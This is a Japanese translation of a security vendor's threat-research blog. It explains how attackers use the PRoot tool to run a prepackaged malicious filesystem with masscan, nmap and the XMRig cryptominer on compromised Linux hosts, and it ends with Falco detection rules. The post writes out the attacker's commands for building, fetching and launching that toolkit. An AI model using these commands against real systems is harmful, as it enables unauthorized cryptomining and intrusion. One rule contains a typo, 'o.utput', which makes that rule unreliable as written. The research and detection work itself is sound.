本文の内容は、2022年12月5日に BIAGIO DIPALMAが投稿したブログ(https://sysdig.com/blog/proot-post-explotation-cryptomining/)を元に日本語に翻訳・再構成した内容となっております。
Sysdig Threat Research Team (TRT) は、最近、脅威者が PRoot と呼ばれるオープンソースツールを活用して、複数の Linux ディストリビューションに活動範囲を広げ、必要な作業を簡略化していることを発見しました。通常、攻撃の範囲は、各 Linux ディストリビューションのさまざまな構成によって制限されます。PRootは、Ubuntu、Fedora、Alpineなど、異なるLinuxディストリビューション間で一貫した運用環境を攻撃者に提供するオープンソースツールです。PRootは、ARMなど他のアーキテクチャーで構築されたマルウェアの実行を可能にするエミュレーション機能も提供しています。
BYOF(Bring Your Own Filesystem)と呼ばれるこの新しいポストエクスプロイト技術は、Sysdigが観測した脅威者によって活発に利用されています。特に、脅威者が事前に環境を完全に理解していない場合や、新しい環境での操作のためにツールを変更するためのリソースが不足している場合に有効です。
このブログでは、PRootの説明、私たちが発見したユースケース、Falcoのルールを使用してアクティビティを検出する方法について説明します。
PRootとは?
多くのオープンソースツールと同様に、PRootは悪意を持って開発されたものではありません。互換性を向上させ、管理者の生活を楽にするために作られたものです。PRootのページから、それは次のように記述されています。“chroot、mount -bind、およびbinfmt_miscのユーザースペース実装。 つまり、ユーザーは、任意のディレクトリを新しいルートファイルシステムとして使用したり、ファイルシステム階層の別の場所にファイルをアクセスできるようにしたり、QEMUユーザーモードを通じて別のCPUアーキテクチャー用に構築されたプログラムを透過的に実行するなどの操作を、特権や設定を必要としないことを意味します。” このようなことをするのに、ユーザーは何の権限も設定も不要であるということです。
PRootは、2つの要素に依存しています:
- PTRACE: Linuxディストリビューションで通常利用できる非特権システムコールで、他のプロセスを監視、制御、操作することができます。
- QEMU:動的バイナリ実行により、異なるアーキテクチャー向けに作られたプログラムをエミュレートすることができるツール。
PRootは、
chmod、 mount、
binfmt_misc
などのコマンドを組み合わせて、新しいファイルシステムをホストから完全に分離し、ゲストファイルシステムと呼ぶことができるものを定義しています。このゲストファイルシステムでは、カスタムのジョブを実行したり、異なるアーキテクチャー用にビルドされたプログラムを混ぜたり、ホストのリソースを透過的に使用したりすることが可能です。攻撃の仕組み
まず、脅威者は、デプロイされる悪意のあるファイルシステムをビルドします。この悪意のあるファイルシステムには、操作を成功させるために必要なものがすべて含まれています。この初期段階での準備により、すべてのツールのダウンロード、設定、またはインストールを、検知ツールの詮索から離れた攻撃者自身のシステム上で行うことが可能になります。ある例では、悪意のあるファイルシステムに、masscan、nmap、XMRig cryptominer、および関連する設定ファイルといったツールがインストールされているのが確認されています。脅威者が実際にどのようにファイルシステムをビルドしたかは定かではありませんが、このプロセスがどのように行われるかを理解することは重要です。
apt-get -y install git make gcc nmap && git clone https://github.com/robertdavidgraham/masscan
cd /masscan && make
# masscan and nmap are ready now
wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-x64.tar.gz -O xmrig.tar.gz && tar xvzf xmrig.tar.gz
cat my_xmrig_config.json > xmrig-6.18.1/config.json
# XMRig is downloaded and configured for execution
# Now is time to pack our filesystem
tar -zcvf crafted_fs.tar.gz /
上記のスクリーンショットに示された最後のコマンドは、gzip圧縮されたtarファイルに悪意のあるファイルシステム全体をパッケージアップします。
Sysdig TRTが発見したこの攻撃では、アーカイブはDropBoxなどの一般的なストレージプラットフォームに置かれていました。脅威者は、標的のシステムにアクセスすると、悪意のあるファイルシステムのパッケージをPRootと一緒にダウンロードします。その時点で、脅威者は必要なものをすべて手に入れたことになります。
攻撃時によく見られるPRootインストールのコマンドライン:
curl -LO https://proot.gitlab.io/proot/bin/proot && chmod +x proot
PRootは静的にコンパイルされているため、追加の外部ファイルやライブラリを必要とせず、結果的に1つのファイルだけで済みます。このため、攻撃者が自分のツールチェーンで使用することが非常に簡単になります。この実行ファイルは、検出を回避するために、UPXやその他の難読化ツールでパックされる可能性があります。
ダウンロードされると、悪意のあるファイルシステムは、攻撃によって異なるものの、/tmp/Prootというフォルダに解凍されます。そして、脅威者は、このディレクトリを指すproot実行ファイルを実行することになります。以下の例では、bashシェルが実行されます。何が起こっているかをよく見てみると、実行されているbash実行ファイルの本当のパスは、/tmp/Proot/bin/bashであることがわかります。これは、bashが元のホストファイルシステムではなく、攻撃者のファイルシステムから実行されていることを示しています。
proot -S /tmp/Proot/ /bin/bash
上記のコマンドでは、-Sオプションで指定したフォルダ(この場合は/tmp/proot)を新しいルートディレクトリとして設定し、通常パッケージによって更新されないパスだけをバインドしています。このコマンドは、”prooted “で始まるランダムな名前の新しいプロセスを生成し、bash プロセスを実行します。これはプロセスツリーを複雑にし、解析を難しくする非常に軽量な難読化を提供します。
PRootは攻撃者にどのような利益をもたらすのでしょうか?
PRootを使用すると、実行ファイルの互換性、環境設定、マルウェアやマイナーの実行に関連する攻撃の苦労をしばしばスムーズにするため、ターゲットのアーキテクチャーやディストリビューションに対する配慮や懸念がほとんどなくなります。これにより、攻撃者は、長い間求められてきた「一度書いたら、どこでも実行できる」という哲学に近づくことができるのです。また、攻撃経路も単純化されます。Sysdig TRTの評価では、この手法を使用する脅威者は、被害者のシステムにデプロイしてペイロードを実行するために、いくつかのコマンドを完了するだけでよいことを目撃し確認することが出来ました。インストールが複雑なマルウェアは、失敗しやすく、ステルス性を低下させます。脅威者は通常、姿を隠すために操作をできるだけ単純化するよう努めます。
必要なパッケージや実行ファイルをすべて悪意のあるファイルシステムに格納することで、攻撃者は、システム・パッケージのアップデートや追加、リモート・レポジトリからのコードのダウンロードを行う必要がなくなります。ファイルシステムは、Google Drive、Dropboxなどのサービスや、ターゲットの内部ネットワークから通常アクセス可能なその他の正規のサイトにアップロードすることができます。
この斬新な攻撃手法は、非常に強力なものとなります。例えば、masscanは、脅威者がアクセスした後、ネットワークをスキャンするために使用する一般的なツールです。攻撃者がデプロイしているツールキットには、このツールがよく含まれています。以下のスクリーンショットは、masscanがホストファイルシステムでは利用できませんが、PRootによって悪意のあるファイルシステムで利用可能であることを示しています。
PRootを利用したクリプトマイニング
攻撃者がPRootを活用する理由をより理解するために、調査中に脅威者がよく使用していたXMRigクリプトマイニングについて見ていきます。PRootは様々なペイロードを展開することができますが、Sysdig TRTが確認した最も一般的なペイロードはクリプトマイナーでした。クリプトマイナーは、脅威者が被害者を犠牲にすることで収入源となるため、これは驚くことではありません。PRootは、”fire and forget “の哲学をサポートし、攻撃者がマイナーを迅速かつ広範囲に展開できるため、クリプトマイナーにとって特に有用であり、その実行に成功する確率を高めることができるのです。これらのcryptoming操作において、XMRigは悪意のあるファイルシステムに格納され、以下のスクリーンショットに示すように、簡単に起動することが可能です。依存関係や設定もファイルシステムに含まれているため、攻撃者は追加の設定コマンドを実行する必要がありません。攻撃者はPRootを起動し、解凍された悪意のあるファイルシステムを指定し、実行するXMRigバイナリを指定します。
要約すると、PRootは脅威の発生源に多くの利点をもたらすということです:
- PRootは、ファイルシステムに悪意のあるコードを詰め込むことで、簡単に悪意のあるコードを配信することができます。
- PRootは、ファイルシステムに詰め込むことで悪意のあるコードを簡単に配信することができます。
- 攻撃者は、さまざまな攻撃経路を定義することができます。マイナーのインストールと実行はシナリオの1つに過ぎず、永続化メカニズムを設定したり、他のマルウェア(DDoS、クリプトロッカーなど)を実行したりすることも可能です。
- コンパイルされた悪意のある実行ファイルのアーキテクチャーは関係ありません。
Falcoを使用したPRootの検出
PRootは、その利点にもかかわらず、低レベルの可視化が可能であれば、かなり簡単に検出することができます。Sysdig TRTは、Falcoを使用してPRootツールの使用を検出することができるルールを作成しました。FalcoはCNCFのインキュベートプロジェクトで、クラウドネイティブ環境における異常な振る舞いの検出を支援し、実行時にアラートを送信することができます。これを行うには、デフォルトのFalcoのルールを使用するか、その簡単で柔軟な言語を活用して独自のカスタムルールを作成することができます。
最初のルールは、使用中のPRootを非常に具体的に検出するものです。これは、clone システムコールと PRoot ファイル名に依存しています。PTRACE機能によってPRootを検出することも可能ですが、これはより一般的な検出方法であり、よりノイズが多くなる可能性があります。
- rule: Detect cloned process by Proot
desc: >
Detect a cloned process spawned, possible privilege escalation.
condition: >
evt.type=clone and evt.arg.flags contains "CLONE_VFORK" and (proc.pname="proot" or proc.aname[2]="proot" or proc.aname[3]="proot")
output: >
Detect a cloned process spawned (proc.name=%proc.name proc.args=%proc.args fd.name=%fd.name proc.cmdline=%proc.pcmdline proc.pname=%proc.pname container=%container.info proc.pcmdline=%proc.pcmdline user.uid=%user.uid user.name=%user.name group.gid=%group.gid container.id=%container.id container.name=%container.name image=%container.image.repository)
priority: Alert
- rule: PTRACE attached to process
desc: "This rule detects an attempt to inject code into a process using PTRACE."
condition: evt.type=ptrace and evt.dir=> and evt.arg.request in (5, 6, 11, 20) and proc_name_exists and not known_ptrace_procs and not PTRACE_exclude_proc_anames
o.utput: Detected ptrace PTRACE_ATTACH attempt (proc.cmdline=%proc.cmdline proc.name=%proc.name proc.pname=%proc.pname user.uid=%user.uid user.loginuid=%user.loginuid user.loginname=%user.loginname user.name=%user.name group.gid=%group.gid group.name=%group.name container.id=%container.id container.name=%container.name image=%container.image.repository)
priority: WARNING
まとめ
攻撃者の不正侵入後のテクニックや経路は、被害者環境でのセットアップや実行段階での検知を回避するために、常に改善され進化しています。攻撃者がターゲットシステムのツールを回避し、環境のセットアップと実行をスキップすることを可能にするPRootの発見は、防御回避のための強力なオプションとなります。PRootは、クリプトマイニングのユースケースにとどまらず、マルウェアのデプロイや持続性の促進にも利用することができます。PRootは、攻撃者がターゲットの様々なアーキテクチャータイプに対する懸念を払拭し、より大規模な攻撃と成功率を提供します。
したがって、この挙動を検出できる Falco のようなランタイム検出レイヤーを持つことは、貴社のセキュリティ運用にとって非常に重要なことです。この種の脅威を確実に観測することで、悪用されるリスク、クリプトマイニングのコスト、およびネットワーク上での攻撃者の持続性を低減することができます。